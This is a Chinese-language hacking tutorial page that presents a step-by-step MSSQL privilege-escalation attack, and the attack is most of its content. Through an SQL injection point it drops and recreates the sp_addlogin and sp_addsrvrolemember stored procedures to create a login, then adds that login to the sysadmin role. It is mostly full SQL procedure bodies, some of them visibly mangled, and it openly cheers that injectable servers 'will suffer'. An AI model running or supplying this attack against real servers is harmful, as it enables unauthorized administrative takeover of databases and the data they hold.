您的位置: 飞扬精品软件园 >> 文章中心 >> 安全防线 >> 黑客技术 >> MSSQL注入通杀,只要有注入点就有系统权限

相关文章链接

本类文章排行

最新新闻资讯

    MSSQL注入通杀,只要有注入点就有系统权限

    MSSQL注入通杀,只要有注入点就有系统权限


    • 阅览次数: 文章来源: 原文作者: 整理日期: 2010-05-22

    不知道大家看过这篇文章没有,可以在db_owner角色下添加SYSADMIN帐号,这招真狠啊,存在MSSQL注射漏洞的服务器又要遭殃了。方法主要是利用db_owner可以修改sp_addlogin和sp_addsrvrolemember这两个存储过程,饶过了验证部分。具体方法如下:

      先输入
      DROP procedure sp_addlogin,
      然后在IE里面输入
      CREATE procedure sp_addlogin

      @loginame sysname
      ,@passwd sysname = NULL
      ,@defdb ; ; sysname = ’master’ -- UNDONE: DEFAULT
      CONFIGURABLE???
      ,@deflanguage sysname = NULL
      ,@sid varbinary(16) = NULL
      ,@encryptopt varchar(20) = NULL
      AS
      -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
      SET nocount ON
      Declare @ret int -- return value of sp call
      -- DISALLOW USER TRANSACTION --
      SET implicit_transactions off
      IF (@@trancount > 0)
      begin
      raiserror(15002,-1,-1,’sp_addlogin’)
      RETURN (1)
      end
      -- VALIDATE LOGIN NAME AS:
      -- (1) Valid SQL Name (SQL LOGIN)
      -- (2) No backslash (NT users only)
      -- (3) Not a reserved login name
      execute @ret = sp_validname @loginame
      IF (@ret <> 0)
      RETURN (1)<span id="more-952"></span>
      IF (charindex(’\’, @loginame) &gt; 0)
      begin
      raiserror(15006,-1,-1,@loginame)
      RETURN (1)
      end
      --Note: different case sa is allowed.
      IF (@loginame = ’sa’ OR lower(@loginame) IN (’public’))
      begin
      raiserror(15405, -1 ,-1, @loginame)
      RETURN (1)
      end
      -- LOGIN NAME MUST NOT ALREADY EXIST --
      IF EXISTS(SELECT * FROM master.dbo.syslogins WHERE loginname =
      @loginame)
      begin
      raiserror(15025,-1,-1,@loginame)
      RETURN (1)
      end
      -- VALIDATE DEFAULT DATABASE --
      IF db_id(@defdb) IS NULL
      begin
      raiserror(15010,-1,-1,@defdb)
      RETURN (1)
      end
      -- VALIDATE DEFAULT LANGUAGE --
      IF (@deflanguage IS NOT NULL)
      begin
      Execute @ret = sp_validlang @deflanguage
      IF (@ret &lt;&gt; 0)
      RETURN (1)
      end
      ELSE
      begin
      SELECT @deflanguage = name FROM master.dbo.syslanguages
      WHERE langid = @@default_langid --server default
      LANGUAGE
      IF @deflanguage IS NULL
      SELECT @deflanguage = N’us_english’
      end
      -- VALIDATE SID IF GIVEN --
      IF ((@sid IS NOT NULL) AND (datalength(@sid) &lt;&gt; 16))
      begin
      raiserror(15419,-1,-1)
      RETURN (1)
      end
      else IF @sid IS NULL
      SELECT @sid = newid()
      IF (suser_sname(@sid) IS NOT NULL)
      begin
      raiserror(15433,-1,-1)
      RETURN (1)
      end
      -- VALIDATE AND USE ENCRYPTION OPTION --
      declare @xstatus smallint
      SELECT @xstatus = 2 -- access
      IF @encryptopt IS NULL
      SELECT @passwd = pwdencrypt(@passwd)
      else IF @encryptopt = ’skip_encryption_old’
      begin
      SELECT @xstatus = @xstatus | 0x800, -- old-style
      encryption
      @passwd = convert(sysname, convert(varbinary
      (30), convert(varchar(30), @passwd)))
      end
      else IF @encryptopt &lt;&gt; ’skip_encryption’
      begin
      raiserror(15600,-1,-1,’sp_addlogin’)
      RETURN 1
      end

      ATTEMPT THE INSERT OF THE NEW LOGIN --
      INSERT INTO master.dbo.sysxlogins VALUES
      (NULL, @sid, @xstatus, getdate(),
      getdate(), @loginame, convert(varbinary(256), @passwd),
      db_id(@defdb), @deflanguage)
      IF @@error &lt;&gt; 0 -- this indicates we saw duplicate row
      RETURN (1)
      -- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
      SYSLOGINS CHANGE --
      exec(USE master GRANT ALL TO NULL)
      -- FINALIZATION: RETURN SUCCESS/FAILURE --
      raiserror(15298,-1,-1)
      RETURN (0) -- sp_addlogin
      GO
      OK,我们新建个用户exec master..sp_addlogin xwq
      再DROP procedure sp_addsrvrolemember,然后在IE里输入
      CREATE procedure sp_addsrvrolemember
      @loginame sysname, -- login name
      @rolename sysname = NULL -- server role name
      AS
      -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
      SET nocount ON
      declare @ret int, -- return value of sp call
      @rolebit smallint,
      @ismem int
      -- DISALLOW USER TRANSACTION --
      SET implicit_transactions off
      IF (@@trancount &gt; 0)
      begin
      raiserror(15002,-1,-1,’sp_addsrvrolemember’)
      RETURN (1)
      end
      -- CANNOT CHANGE SA ROLES --
      IF @loginame = ’sa’
      begin
      raiserror(15405, -1 ,-1, @loginame)
      RETURN (1)
      end
      -- OBTAIN THE BIT FOR THIS ROLE --
      SELECT @rolebit = CASE @rolename
      WHEN ’sysadmin’ THEN 16
      WHEN ’securityadmin’ THEN 32
      WHEN ’serveradmin’ THEN 64
      WHEN ’setupadmin’ THEN 128
      WHEN ’processadmin’ THEN 256
      WHEN ’diskadmin’ THEN 512
      WHEN ’dbcreator’ THEN 1024
      WHEN ’bulkadmin’ THEN 4096
      ELSE NULL END
      -- ADD ROW FOR NT LOGIN IF NEEDED --
      IF NOT EXISTS(SELECT * FROM master.dbo.syslogins WHERE
      loginname = @loginame)
      begin
      execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
      IF (@ret &lt;&gt; 0)
      begin
      raiserror(15007,-1,-1,@loginame)
      RETURN (1)
      end
      end
      -- Update ROLE MEMBERSHIP --
      UPDATE master.dbo.sysxlogins SET xstatus = xstatus | @rolebit,
      xdate2 = getdate()
      WHERE name = @loginame AND srvid IS NULL
      -- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
      SYSLOGINS CHANGE --
      exec(USE master GRANT ALL TO NULL)
      raiserror(15488,-1,-1,@loginame,@rolename)
      -- FINALIZATION: RETURN SUCCESS/FAILURE
      RETURN (@@error) -- sp_addsrvrolemember
      GO
      接着再exec master..sp_addsrvrolemember xwq,sysadmin

      这样就建立了一个SA用户了,用SQL连接器连接上就OK了。

     



查看所有评论

网友对MSSQL注入通杀,只要有注入点就有系统权限的评论

网名:
主题:
内容:
验证码: